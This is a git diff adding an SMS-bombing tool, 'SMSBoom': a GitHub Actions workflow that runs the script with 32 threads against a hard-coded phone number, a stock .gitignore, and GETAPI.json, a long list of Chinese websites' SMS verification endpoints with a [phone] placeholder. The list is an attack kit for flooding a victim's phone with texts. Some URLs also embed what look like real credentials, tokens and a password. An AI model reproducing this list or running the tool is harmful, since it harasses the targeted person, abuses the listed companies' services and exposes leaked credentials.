diff --git a/.github/workflows/run.yaml b/.github/workflows/run.yaml new file mode 100755 index 0000000..3429b0d --- /dev/null +++ b/.github/workflows/run.yaml @@ -0,0 +1,29 @@ +name: 🚀 Run SMSBoom in Action + +# 触发 Action 的条件 +on: + # 定时触发 参考 https://docs.github.com/cn/actions/using-workflows/events-that-trigger-workflows#schedule + # schedule: + # - cron: '30 5 * * 1,3' + # - cron: '30 5 * * 2,4' + # 手动触发 + workflow_dispatch: + +jobs: + build: + runs-on: ubuntu-latest + + steps: + # 签出项目代码 + - uses: actions/checkout@v3 + # 设置 py3.8 环境 + - name: 🚀 Set up Python 3.x + uses: actions/setup-python@v3 + with: + python-version: '3.8' + + - name: 🚀 Run SMSBoom Script + # 此处可以自定义命令行运行参数.替换手机号 + run: | + pip3 install -r requirements.txt + python3 smsboom.py run -p 19820294268 -t 32 \ No newline at end of file diff --git a/.gitignore b/.gitignore new file mode 100755 index 0000000..68bc17f --- /dev/null +++ b/.gitignore @@ -0,0 +1,160 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/#use-with-ide +.pdm.toml + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ diff --git a/GETAPI.json b/GETAPI.json new file mode 100755 index 0000000..dd37138 --- /dev/null +++ b/GETAPI.json @@ -0,0 +1,1020 @@ +[ + "http://101.132.126.166:8080/message/sendVerifyCode?callback=successCallback&mobilePhone=[phone]&t=1589625247333action_type=regist&mobile=[phone]", + "http://12345.panzhihua.gov.cn/sms/getSMSCode?mobile=[phone]", + "http://19.offcn.com/send_message/seccode/?0.8413693207408235&msgpic=user=[phone]", + "http://211.156.201.12:8088/youzheng//ems/security?phone=[phone]", + "http://218.57.131.146/cwbase/ep/handlers/RouteHandler.ashx?action=GetPhoneVerCode&PhoneNum=action=GetPhoneVerCode&PhoneNum=[phone]", + "http://221.179.180.158:9008/HttpQuickProcess/submitMessageAll?OperID=zjawu&OperPass=AqBTaIWp&DesMobile=[phone]", + "http://a.xcar.com.cn/bbs/dialog.php?daction=register&drequest=check&chash=ZuXty1HoAbfduG8MIMA2O53l&dhash=N7numlHsAbbf5hAGcbc&ehash=ZO%2B6mFrpB77Uv24KcMJmPpi0oTCxsaUtNQa9KWIYNzYJ3WVcKC%2B%2FCA&phone=[phone]", + "http://a.xcar.com.cn/bbs/dialog.php?daction=register&drequest=check&chash=ZuXty1HoAbfduG8MIMA2O53l&dhash=N7numlHsAbbf5hAGcbc&ehash=ZO+6mFrpB77Uv24KcMJmPpi0oTCxsaUtNQa9KWIYNzYJ3WVcKC+/CA&phone=[phone]", + "http://a.xcar.com.cn/bbs/dialog.php?daction=register&drequest=check&chash=ZuXty1HoAbfduG8MIMA2O53l&dhash=N7numlHsAbbf5hAGcbc&ehash=ZO%2B6mFrpB77Uv24KcMJmPpi0oTCxsaUtNQa9KWIYNzYJ3WVcKC%2B%2FCA&phone=[phone]", + "http://a.xcar.com.cn/bbs/dialog.php?daction=register&drequest=check&chash=ZuXty1HoAbfduG8MIMA2O53l&dhash=N7numlHsAbbf5hAGcbc&ehash=ZO+6mFrpB77Uv24KcMJmPpi0oTCxsaUtNQa9KWIYNzYJ3WVcKC+/CA&phone=[phone]", + "http://account.bababus.com/wap/sendDynamicVerifyCode.htm?mobilePhone=[phone]", + "http://account.ilongyuan.com.cn/index.php?s=/home/user/verify.html&random=0.8012450194754068&client_id=&verify=[phone]", + "http://activity.renren.com/livecell/ajax/tryVerify?sanbox=a&phoneNum=[phone]", + "http://activity.renren.com:80/livecell/ajax/tryVerify?sanbox=a&phoneNum=[phone]", + "http://admin.bolemeng.com/index.php/api/Common/sms?callback=jQuery21102979887340557068_1582428078445&phone=[phone]&type=register&_=1582428078447", + "http://admin.bolemeng.com/index.php/api/Common/sms?callback=jQuery21102979887340557068_1582428078445&phone=[phone]", + "http://admin.bongv.com/Home/Modify/sendSmsCode_New.shtml?mp=[phone]", + "http://api-v1.ezpaychain.com/invoice/v1/user/send-sms?calling_codes=%2B86&phone_number=[phone]&type=activation&version=1", + "http://api-v1.ezpaychain.com/invoice/v1/user/send-sms?calling_codes=+86&phone_number=[phone]&type=activation&version=1", + "http://api.bangtuike.com.cn/api/v1/account/captcha?phone=[phone]", + "http://api.bangtuike.com.cn/api/v1/account/captcha?phone=[phone]&country=%2B86", + "http://api.bangtuike.com.cn/api/v1/account/captcha?phone=[phone]&country=%2B86", + "http://api.duo17.com/sendsms.do?os_type=android&app_version=2.4.0.0&device_id=860903034476097&pnum=[phone]", + "http://api.duo17.com/sendsms.do?os_type=android&app_version=2.4.0.0&device_id=860903034476097&pnum=[phone]", + "http://api.fine3q.com/link-site/api/user/get_verification_code.json?ts=1561901787148&c_id=1&p=a&d_id=861913032338784&ver=3.1.5&mobile=[phone]", + "http://api.fine3q.com/link-site/api/user/get_verification_code.json?ts=1561901787148&c_id=1&p=a&d_id=861913032338784&ver=3.1.5&mobile=[phone]", + "http://api.gaotu100.com/user/v2/send_passcode?captcha_mode=NETEASE&type=3&mobile=[phone]&code_type=0", + "http://api.gaotu100.com/user/v2/send_passcode?captcha_mode=NETEASE&type=3&mobile=[phone]&code_type=0", + "http://api.hanju.koudaibaobao.com/api/user/verifyMobile?_ts=1564136775711&country=%2B86&mobile=[phone]", + "http://api.hanju.koudaibaobao.com/api/user/verifyMobile?_ts=1564136775711&country=+86&mobile=[phone]", + "http://api.hanju.koudaibaobao.com/api/user/verifyMobile?_ts=1564136775711&country=%2B86&mobile=[phone]", + "http://api.hanju.koudaibaobao.com/api/user/verifyMobile?_ts=1564136775711&country=+86&mobile=[phone]", + "http://api.hanju.koudaibaobao.com/api/user/verifyMobile?country=%2B86&mobile=[phone]", + "http://api.hanju.koudaibaobao.com/api/user/verifyMobile?country=%2B86&mobile=[phone]", + "http://api.hanju.koudaibaobao.com/api/user/verifyMobile?country=+86&mobile=[phone]", + "http://api.hanju.koudaibaobao.com/api/user/verifyMobile?country=+86&mobile=[phone]", + "http://api.hhyp58.com/basis/sendCheckCode?mobile=[phone]", + "http://api.hsj.huanci.net/index.php/api/user/isPhoneRegister?appVer=1.1.0&cur_user_id=-1&device=iPhone 6S&device_brand=Apple&device_model=iPhone&os_version=12.4&phone=[phone]&platform=iOS&token=&userId=-1&version_code=110", + "http://api.hsj.huanci.net/index.php/api/user/isPhoneRegister?appVer=1.1.0&cur_user_id=-1&device=iPhone%206S&device_brand=Apple&device_model=iPhone&os_version=12.4&phone=[phone]&platform=iOS&token=&userId=-1&version_code=110", + "http://api.hsj.huanci.net/index.php/api/user/isPhoneRegister?appVer=1.1.0&cur_user_id=-1&device=iPhone%206S&device_brand=Apple&device_model=iPhone&os_version=12.4&phone=[phone]", + "http://api.hsj.huanci.net/index.php/api/user/isPhoneRegister?appVer=1.1.0&cur_user_id=-1&device=iPhone6S&device_brand=Apple&device_model=iPhone&os_version=12.4&phone=[phone]", + "http://api.huatu.com/lumenapi/v4/common/message/send_by_java?callback=callbackSendCode&mobile=[phone]&_=1547130695671", + "http://api.huatu.com/lumenapi/v4/common/message/send_by_java?callback=callbackSendCode&mobile=[phone]", + "http://api.juewei.com//api/Verify/sendSms?_=[phone]", + "http://api.jzhrj.cn/api/User/SendRegCode?mobile=[phone]", + "http://api.jzhrj.cn/api/User/SendRegCode?mobile=[phone]&signature=b9ca097bdb7678ffe631d0aecb2615e16b4986f4&timestamp=1558168022&nonce=573&appid=CalendarGPRJ", + "http://api.luobokoudai.com/User/GetCodeByPhone?ip=124.228.103.38&source=1&channel=yingyonbao&key=f996ee442307b7c6ccfcfc68bcf77682&user_phone=[phone]", + "http://api.midukanshu.com/auth/mobileVerify?mobile=[phone]", + "http://api.moonreader.cn/mreader/common/sendMobile.do?mobile=[phone]", + "http://api.moonreader.cn:80/mreader/common/sendMobile.do?mobile=[phone]", + "http://api.nfapp.southcn.com/nanfang_if/getVerifiCode?phoneNo=[phone]", + "http://api.passport.pptv.com/checkImageCodeAndSendMsg?&scene=REG_PPTV_APP&deviceId=867830021000533&aliasName=[phone]", + "http://api.passport.pptv.com/checkImageCodeAndSendMsg?&scene=REG_PPTV_APP&deviceId=867830021000533&aliasName=[phone]", + "http://api.passport.pptv.com/snsms/sendcode?cb=msSendCode&phoneNumber=[phone]&deviceId=p_1584518586025_48072460278550296&terminal=PC&channel=208000103005&uuid=0e2a64ae-e07e-49d6-852e-3de883df8003&imgCode=&format=jsonp&_=1584518959802", + "http://api.passport.pptv.com/snsms/sendcode?cb=msSendCode&phoneNumber=[phone]", + "http://api.passport.pptv.com/snsms/sendcode?cb=msSendCode&phoneNumber=[phone]&deviceId=p_1584518586025_48072460278550296&terminal=PC&channel=208000103005&uuid=0e2a64ae-e07e-49d6-852e-3de883df8003&imgCode=&format=jsonp&_=1584518959802", + "http://api.passport.pptv.com:80/checkImageCodeAndSendMsg?&scene=REG_PPTV_APP&deviceId=867830021000533&aliasName=[phone]", + "http://api.passport.pptv.com:80/checkImageCodeAndSendMsg?&scene=REG_PPTV_APP&deviceId=867830021000533&aliasName=[phone]", + "http://api.qingmang.me/v1/account.sendVerification?code=1566478386.8872059778&phone=%2B86[phone]&token=YzllOTI2NGEtYzRkYi0xMWU5LTgxY2ItMDAxNjNlMDM2OTg5&platform=life_ios&udid=966d9749eb41b1f81489cabc0bc05c35a1f97032&v=2.6.12&vc=6", + "http://api.qingmang.me/v1/account.sendVerification?code=1566478386.8872059778&phone=+86[phone]&token=YzllOTI2NGEtYzRkYi0xMWU5LTgxY2ItMDAxNjNlMDM2OTg5&platform=life_ios&udid=966d9749eb41b1f81489cabc0bc05c35a1f97032&v=2.6.12&vc=6", + "http://api.qingmang.me/v1/account.sendVerification?code=1566478386.8872059778&phone=[phone]", + "http://api.qingmang.me/v1/account.sendVerification?code=1566478386.8872059778&phone=%2B86[phone]", + "http://api.qingmang.me/v1/account.sendVerification?code=1566478386.8872059778&phone=+86[phone]", + "http://api.qingmang.me/v1/account.sendVerification?code=1566478386.8872059778&phone=[phone]", + "http://api.qingmang.me/v1/account.sendVerification?platform=console&token=&phone=%2B86[phone]&code=10164337", + "http://api.qingmang.me/v1/account.sendVerification?platform=console&token=&phone=%2B86[phone]&code=10164337", + "http://api.qingmang.me/v1/account.sendVerification?token=&phone=%2B86[phone]&code=70428334", + "http://api.qingmang.me/v1/account.sendVerification?token=&phone=%2B86[phone]&code=70428334", + "http://api.sms.cn/sms/?ac=send&uid=sun98&pwd=5a509d25c595fcec2561652992f1915b&template=542423&mobile=[phone]", + "http://api.sms.cn/sms/?ac=send&uid=sun98&pwd=5a509d25c595fcec2561652992f1915b&template=542423&mobile=[phone]&content={%22code%22:%22HQ98B%22}", + "http://api.sssc.cn/seccode/reg?callback=&m=[phone]", + "http://api.v2.msparis.com/common/mobile?channel=App Store-vest&clientId=msparis-ios-4.2.4-vest&mobile=[phone]&platform=ios-vest&rent_mode=2", + "http://api.v2.msparis.com/common/mobile?channel=App%20Store-vest&clientId=msparis-ios-4.2.4-vest&mobile=[phone]&platform=ios-vest&rent_mode=2", + "http://api.v2.msparis.com/common/mobile?channel=App%20Store-vest&clientId=msparis-ios-4.2.4-vest&mobile=[phone]", + "http://api.v2.msparis.com/common/mobile?channel=App%20Store-vest&clientId=msparis-ios-4.2.4-vest&mobile=[phone]&platform=ios-vest&rent_mode=2", + "http://api.v2.msparis.com/common/mobile?channel=AppStore-vest&clientId=msparis-ios-4.2.4-vest&mobile=[phone]", + "http://api.wangxiao.cn/app/user.ashx?mobile=[phone]", + "http://api.wangxiao.cn/app/user.ashx?mobile=[phone]&t=mobilelogincode", + "http://api.wangxiao.cn:80/app/user.ashx?mobile=[phone]", + "http://api.wangxiao.cn:80/app/user.ashx?mobile=[phone]&t=mobilelogincode", + "http://api.xingchentd.com/logic-user/user:users/mobile/?mobile=[phone]&projection=withRoles", + "http://api.xtgyl.cn/index.php/api_v1/api.app.login/sendCaptcha?mobile=[phone]", + "http://api.yinka.co/common/sms?cellphone=[phone]", + "http://api.yuyin-tv.com/v1/account/verifycode/register?phone=[phone]", + "http://api2.cloudlinks.cn:80/Users/PhoneCheckCode.ashx?CountryCode=86&AppVersion=6357251&PhoneNO=[phone]", + "http://api2.cloudlinks.cn:80/Users/PhoneCheckCode.ashx?CountryCode=86&PhoneNO=[phone]", + "http://api2.cloudlinks.cn:80/Users/PhoneCheckCode.ashx?CountryCode=86&AppVersion=6357251&PhoneNO=[phone]", + "http://api2.cloudlinks.cn:80/Users/PhoneCheckCode.ashx?CountryCode=86&PhoneNO=[phone]&AppVersion=6357251", + "http://app.bczp.cn/pk/GetCode.ashx?mobile=[phone]", + "http://app.ftutj.cn/web/api.php?s=/Join/verify/?0.24206258677631287&picCode=[phone]", + "http://app.jiayouxueba.cn/api/v3/sms/getcode?mobile=[phone]", + "http://app.quanlaoda.com/app.php?&m=code&a=send_login_code&phone=[phone]", + "http://app.quanlaoda.com/app.php?&m=code&a=send_login_code&phone=[phone]", + "http://app.syxwnet.com/?app=member&controller=index&action=sendMobileMessage&mobile=[phone]", + "http://app.syxwnet.com/?app=member&controller=index&action=validate&do=mobile&mobile=[phone]", + "http://app.syxwnet.com/?app=member&controller=index&action=sendMobileMessage&mobile=[phone]", + "http://app.syxwnet.com/?app=member&controller=index&action=validate&do=mobile&mobile=[phone]", + "http://app.zangcun.com/registerCode?mobile=[phone]", + "http://appsever.caissa.com.cn/api/token/user/verifyAndgetCaptcha?data=%7B%22phone%22%3A%22[phone]", + "http://appsever.caissa.com.cn/api/token/user/verifyAndgetCaptcha?data=%7B%22phone%22%3A%22[phone]%22%2C%22type%22%3A%223%22%2C%22userId%22%3A%22%22%7D&head=%7B%22account%22%3A%22android01%22%2C%22channel%22%3A%22C0001%22%2C%22channelSecond%22%3A%22CS0001%22%2C%22pa", + "http://appsever.caissa.com.cn/api/token/user/verifyAndgetCaptcha?data={'phone':'[phone]", + "http://appsfunc.e-giordano.com/SVC/AppsFunc.svc/rest/CheckUserName?username=[phone]", + "http://b2c.csair.com/portal/smsMessage/EUserVerifyCode?mobile=[phone]", + "http://baiwai100.com/exam/regcheckSms.yj?telphone=[phone]", + "http://bank.wo.cn/hand/getRandCode?phone=[phone]&flag=3", + "http://bank.wo.cn/wxun/api/my/getSmsCode?mobile=[phone]", + "http://bdp.haoyisheng.com/bdp/checkCode/getChkCode?timestamp=1600272327075mobileNum=[phone]", + "http://biz.sandnes.cn/msgapi.php?phone=[phone]", + "http://bizapi.pezy.cn/qknode/sms/reqSmsCode?df=android&publishid=1003&deviceId=8812baafc8de4fe4&vt=5&screen=720x1280&deviceid=&os=android&proid=qknode&av=MMB29M&appVersion=1.6.1&imei=&ov=6.0.1&osVersion=6.0.1&deviceVersion=Redmi 4A&osLevel=23&phone=[phone]", + "http://bizapi.pezy.cn/qknode/sms/reqSmsCode?df=android&publishid=1003&deviceId=8812baafc8de4fe4&vt=5&screen=720x1280&deviceid=&os=android&proid=qknode&av=MMB29M&appVersion=1.6.1&imei=&ov=6.0.1&osVersion=6.0.1&deviceVersion=Redmi 4A&osLevel=23&phone=[phone]&token=", + "http://bizapi.pezy.cn/qknode/sms/reqSmsCode?df=android&publishid=1003&deviceId=8812baafc8de4fe4&vt=5&screen=720x1280&deviceid=&os=android&proid=qknode&av=MMB29M&appVersion=1.6.1&imei=&ov=6.0.1&osVersion=6.0.1&deviceVersion=Redmi%204A&osLevel=23&phone=[phone]", + "http://bizapi.pezy.cn/qknode/sms/reqSmsCode?df=android&publishid=1003&deviceId=8812baafc8de4fe4&vt=5&screen=720x1280&deviceid=&os=android&proid=qknode&av=MMB29M&appVersion=1.6.1&imei=&ov=6.0.1&osVersion=6.0.1&deviceVersion=Redmi%204A&osLevel=23&phone=[phone]&token=", + "http://bizapi.pezy.cn/qknode/sms/reqSmsCode?df=android&publishid=1003&deviceId=8812baafc8de4fe4&vt=5&screen=720x1280&deviceid=&os=android&proid=qknode&av=MMB29M&appVersion=1.6.1&imei=&ov=6.0.1&osVersion=6.0.1&deviceVersion=Redmi%204A&osLevel=23&phone=[phone]", + "http://bizapi.pezy.cn/qknode/sms/reqSmsCode?df=android&publishid=1003&deviceId=8812baafc8de4fe4&vt=5&screen=720x1280&deviceid=&os=android&proid=qknode&av=MMB29M&appVersion=1.6.1&imei=&ov=6.0.1&osVersion=6.0.1&deviceVersion=Redmi4A&osLevel=23&phone=[phone]", + "http://bizapi.pezy.cn/qknode/sms/reqSmsCode?publishid=1003&deviceId=2808ec7ef7fbeed6&df=android&vt=5&screen=1080x1920&deviceid=2808ec7ef7fbeed6&proid=qknode&os=android&av=NMF26X&appVersion=1.4.0&imei=&ov=7.1.1&osVersion=7.1.1&osLevel=25&phone=[phone]&token=", + "http://bizapi.pezy.cn/qknode/sms/reqSmsCode?publishid=1003&deviceId=2808ec7ef7fbeed6&df=android&vt=5&screen=1080x1920&deviceid=2808ec7ef7fbeed6&proid=qknode&os=android&av=NMF26X&appVersion=1.4.0&imei=865499038835144&ov=7.1.1&osVersion=7.1.1&osLevel=25&phone=[phone]", + "http://bizapi.pezy.cn/qknode/sms/reqSmsCode?publishid=1003&deviceId=2808ec7ef7fbeed6&df=android&vt=5&screen=1080x1920&deviceid=2808ec7ef7fbeed6&proid=qknode&os=android&av=NMF26X&appVersion=1.4.0&imei=&ov=7.1.1&osVersion=7.1.1&osLevel=25&phone=[phone]&token=", + "http://bj.iguanyu.com/gywebsite/common/sendVerificationCode?phone=[phone]", + "http://buckle.lvronghui.com/promotion/transfer.php?phone=[phone]", + "http://care.seewo.com/easicare/account/dynamic/code?userName=[phone]&isLogin=false", + "http://cash.herjk.com/herjk-server/user/authcode?mobile=[phone]", + "http://ccyagu.gswanzhong.com/Apicloud/User/sendCaptcha?Mobile=[phone]", + "http://ccyagu.gswanzhong.com:80/Apicloud/User/sendCaptcha?Mobile=[phone]", + "http://cd.abiz.com/v3validcode?t=1604046053252¤tFindType=1&pageType=7&pn=abiz&validateCode=currentFindValue=[phone]", + "http://center.siyi.cn/process.aspx?c=sendvcode&vt=sms&va=reg&mobile=[phone]", + "http://center.siyi.cn/process.aspx?c=sendvcode&vt=sms&va=reg&mobile=[phone]", + "http://cms.51fenmi.com/api/base/public/getCode?mobile=[phone]", + "http://cms.51fenmi.com:80/api/base/public/getCode?mobile=[phone]", + "http://codingle.cn/api/user/register/tel_verify?tel=[phone]", + "http://ct.ctrip.com/me/register/Verify?name=%E5%90%B4%E5%A5%87&email=357058116%40qq.com&mobile=[phone]&passwd=xiyu8187", + "http://ct.ctrip.com/me/register/Verify?name=%E5%90%B4%E5%A5%87&email=357058116%40qq.com&mobile=[phone]&passwd=xiyu8187", + "http://cuckooshop.cn/SMS?phone=[phone]", + "http://dafeiyu.cn/sms/boom?mobile=[phone]&config=1&num=2", + "http://dapi.mting.info/yyting/usercenter/getVerifyCode.action?phoneNum=[phone]", + "http://dapi.mting.info/yyting/usercenter/getVerifyCode.action?phoneNum=[phone]&type=0&token=&imei=&nwt=1&q=27&sc=", + "http://dgapi.zczgcn.com/shopSupport?Mobile=[phone]", + "http://dgapi.zczgcn.com/shopSupport?Mobile=[phone]&BusinessId=15886&systemType=android&appVersion=4.1.01&postTime=2019-07-19+00%3A19%3A14&timeStamp=1563466754286&method=ShopSupport.GetGuiderLoginVerifyCode&format=json&user=u1city&token=a0ea92fa90904b64becaa5b2bb0b8", + "http://dgapi.zczgcn.com/shopSupport?Mobile=[phone]&BusinessId=15886&systemType=android&appVersion=4.1.01&postTime=2019-07-19+00:19:14&timeStamp=1563466754286&method=ShopSupport.GetGuiderLoginVerifyCode&format=json&user=u1city&token=a0ea92fa90904b64becaa5b2bb0b8", + "http://dopzuul.dd2007.cn/shangji/officeWebInterface/getYzmByMobile.dd?mobile=[phone]&jsoncallback=jsonpCallback_success&_=1599135066051", + "http://e.huijimall.com/api/store/rest/v2/zhutest/request_login_smscode?mobile=[phone]", + "http://edms.fcbox.com/hibox/weixin/getVerifyCode?mobilePhone=[phone]", + "http://exmail.qq.com/cgi-bin/bizmail_portal?action=send_sms&type=11&t=biz_rf_portal_mgr&ef=jsnew&resp_charset=UTF8&area=86&mobile=[phone]", + "http://exmail.qq.com/cgi-bin/bizmail_portal?action=send_sms&type=11&t=biz_rf_portal_mgr&ef=jsnew&resp_charset=UTF8&area=86&mobile=[phone]", + "http://exmail.qq.com:80/cgi-bin/bizmail_portal?action=send_sms&type=11&t=biz_rf_portal_mgr&ef=jsnew&resp_charset=UTF8&area=86&mobile=[phone]", + "http://exmail.qq.com:80/cgi-bin/bizmail_portal?action=send_sms&type=11&t=biz_rf_portal_mgr&ef=jsnew&resp_charset=UTF8&area=86&mobile=[phone]", + "http://ffp.airchina.com.cn/app/generateSmscode?phoneNum=[phone]&t=0.5165145328970137", + "http://flights.sichuanair.com/3uair/ibe/profile/processSendSMSNew.do?ConversationID=&smsType=REGISTER&mobilePhone=[phone]&verkey=MOBILELOGIN", + "http://flights.sichuanair.com/3uair/ibe/profile/processSendSMSNew.do?ConversationID=&smsType=REGISTER&mobilePhone=[phone]", + "http://forum.xitek.com/forum.php?mod=ajax&infloat=register&handlekey=register&action=vcode&inajax=1&fp=4155208328&check=80e5&mobile= [phone]", + "http://gangqinpu.yusi.tv/?urlparam=cginfo/userinfo/sendsms&phonenum=[phone]&platform=iphone&sendtype=1&version=1.5.6", + "http://gangqinpu.yusi.tv/?urlparam=cginfo/userinfo/sendsms&phonenum=[phone]", + "http://gd.10086.cn/easy/product/order/getValidateRndCode.jsps?commCode=LLKC300&merchantCode=GD&mobile=[phone]", + "http://gd.10086.cn/easy/product/order/getValidateRndCode.jsps?commCode=LLKC300&merchantCode=GD&mobile=[phone]", + "http://gj.liansuosoft.com/ShopRegister/SendSms?mobile=[phone]", + "http://gj.liansuosoft.com/ShopRegister/VCode?rand=0.3306040567511852&code=[phone]", + "http://gk.huixinyt.com/app1dxxy/index.php/Index/getcode1?1=1&mobile=[phone]&_=1551173567907", + "http://group.leying.com/user/send-login-or-reg-validate-code?.sig=485fcbb8de19a6031a640e4fba81b7d7&cinema_id=23&city_id=502&client_id=3e5da9998f896&graph_validate_code=&group=20008&mobile=[phone]&pver=7.0&session_id=&source=105001&ver=5.5.5", + "http://group.leying.com/user/send-login-or-reg-validate-code?.sig=485fcbb8de19a6031a640e4fba81b7d7&cinema_id=23&city_id=502&client_id=3e5da9998f896&graph_validate_code=&group=20008&mobile=[phone]", + "http://gw.dianzhenkeji.com/userc/sms/[phone]/2?tenantId=dxtv", + "http://gw.dianzuanmao.com/user/getCsbCode?phone=[phone]", + "http://gw.dianzuanmao.com/user/getCsbCode?phone=[phone]&type=1", + "http://h5.gmccopen.com/act/sso!sendSms.action?mobile=[phone]", + "http://hall.m.qxiu.com/mobileuser/user/getphonecode?phone=[phone]", + "http://hall.m.qxiu.com/mobileuser/user/getphonecode?phone=[phone]&sign=8D0A118A972CD8A303403728659FC0F4FA194447", + "http://haojue78.com/WS/WSAccount.asmx/SendMobileMsg?mobile=[phone]", + "http://hbrbapi.hubeidaily.net/amc/client/getAuthCode?mobilephone=[phone]", + "http://hbrbapi.hubeidaily.net/amc/client/getAuthCode?mobilephone=[phone]&nodeCode=ecdc5307-888e-4322-8817-f04bd81a7e82", + "http://hdh.10086.cn/common/validationIP?phone=[phone]", + "http://hdh.10086.cn/pc/dynamic?phoneNumber=[phone]&imageCode=4551&type=login", + "http://hk-dns.sskweb.cn/api.php?act=user&key=XsWxsZDyh58V9whXWR&phone=[phone]", + "http://home.ecook.cn/user/code?phone=[phone]", + "http://home.ecook.cn/user/getVerifyCode?phone=[phone]", + "http://hy.hryouxi.com/HRPF/website/sendSMS.do?phone=[phone]", + "http://hyuser.91huayi.com/ashx/sendSmsValidateCode.ashx?mobile=[phone]", + "http://i.360.cn/smsApi/sendsmscode?condition=2&r=&callback=&account=[phone]", + "http://i.im.etiantian.net/app-common-service/getPhoneValidateCodeForAixue.do?time=1563804384352&appId=561&typeId=1&uType=6&phoneNum=[phone]&sign=MjhhOTc4YzQ3YjBhZmFhZmRmZDkzY2ViMzRmZmM3ZjA", + "http://i.im.etiantian.net/app-common-service/getPhoneValidateCodeForAixue.do?time=1563804384352&appId=561&typeId=1&uType=6&phoneNum=[phone]", + "http://i.kuwo.cn/US/2014/api/send_sms.jsp?mobile=[phone]", + "http://i.pptv.com/2015usercenter/api/sendphonecode/?phoneNum=[phone]", + "http://i.zhaopin.com/Login/LoginApi/SendBindSms?jsoncallback=jQuery16402676061029242586_1454143948438&businessType=C-Bind&t=1454143948656&_=1454143948656&mobile=[phone]", + "http://i.zhaopin.com/Login/LoginApi/SendBindSms?jsoncallback=jQuery16402676061029242586_1454143948438&businessType=C-Bind&t=1454143948656&_=1454143948656&mobile=[phone]", + "http://iclass.ruijie.com.cn/icmgr/rest/techReg/sms?timeStamp=1605428709505&phoneNo=[phone]", + "http://id.ifeng.com/api/simplesendmsg?mobile=[phone]", + "http://id.ifeng.com/api/simplesendmsg?mobile=[phone]&comefrom=7&auth=&msgtype=0", + "http://id.ifeng.com/api/simplesendmsg?mobile=[phone]&comefrom=7&auth=&msgtype=0", + "http://id.ourgame.com/mobilepassport!getMobileYzm.do?passport=[phone]", + "http://imfreecall.3158.cn/index.php/call?CB=WebFreeCall.callResult&C=60098&T=[phone]", + "http://imfreecall.3158.cn/index.php/call?CB=WebFreeCall.callResult&C=60098&T=[phone]", + "http://interface.flnet.com/IAccount/GetRegisterSMSCode?cellphone=[phone]", + "http://iu.snssdk.com/user/mobile/send_code/?iid=80794405933&type=1&mobile=[phone]&ac=WIFI&channel=App Store&app_name=joke_zone&aid=27&version_code=2.2.0&device_platform=iphone&os_version=12.4&device_type=iPhone8,1&device_id=68923678300&vid=FFAA4EA8-1E5C-4EA0-9A1E", + "http://iu.snssdk.com/user/mobile/send_code/?iid=80794405933&type=1&mobile=[phone]&ac=WIFI&channel=App%20Store&app_name=joke_zone&aid=27&version_code=2.2.0&device_platform=iphone&os_version=12.4&device_type=iPhone8,1&device_id=68923678300&vid=FFAA4EA8-1E5C-4EA0-9A1E", + "http://iu.snssdk.com/user/mobile/send_code/?iid=80794405933&type=1&mobile=[phone]", + "http://j.esf.leju.com/ucenter/islejuuser?mobile=[phone]", + "http://jnggzy.jinan.gov.cn/jnggzyztb/regist_gys/putPhone.do?aa=Math.random()&phone=[phone]", + "http://jnggzy.jinan.gov.cn/jnggzyztb/regist_gys/putPhone.do?aa=Math.random()&phone=[phone]", + "http://john.huainanhai.com/mobile/send_mobile_code_v2?phone_no=86-[phone]", + "http://juniorapi.gzxiangqi.cn/juniorAccounts/v2/getCode/3/[phone]", + "http://jx.kuwo.cn/KuwoLivePhone/user/sendSMS?mobile=[phone]", + "http://jz.gymchina.com/api/user/getVerificationCode.json?phone=[phone]&platform=and&sid=43d54311742a6c62a11ef8b64d8c7ac1&brand=OPPO&version=2.2.6&appName=tomato&partner=xiaomi&model=PCRT00", + "http://jzplatform.com/distributor/sendcode_do.php e.account=[phone]", + "http://jzplatform.com/distributor/sendcode_do.phpe.account=[phone]", + "http://ketang.ldcstudy.com/nsuser/h5/getCode.vm?phone=[phone]", + 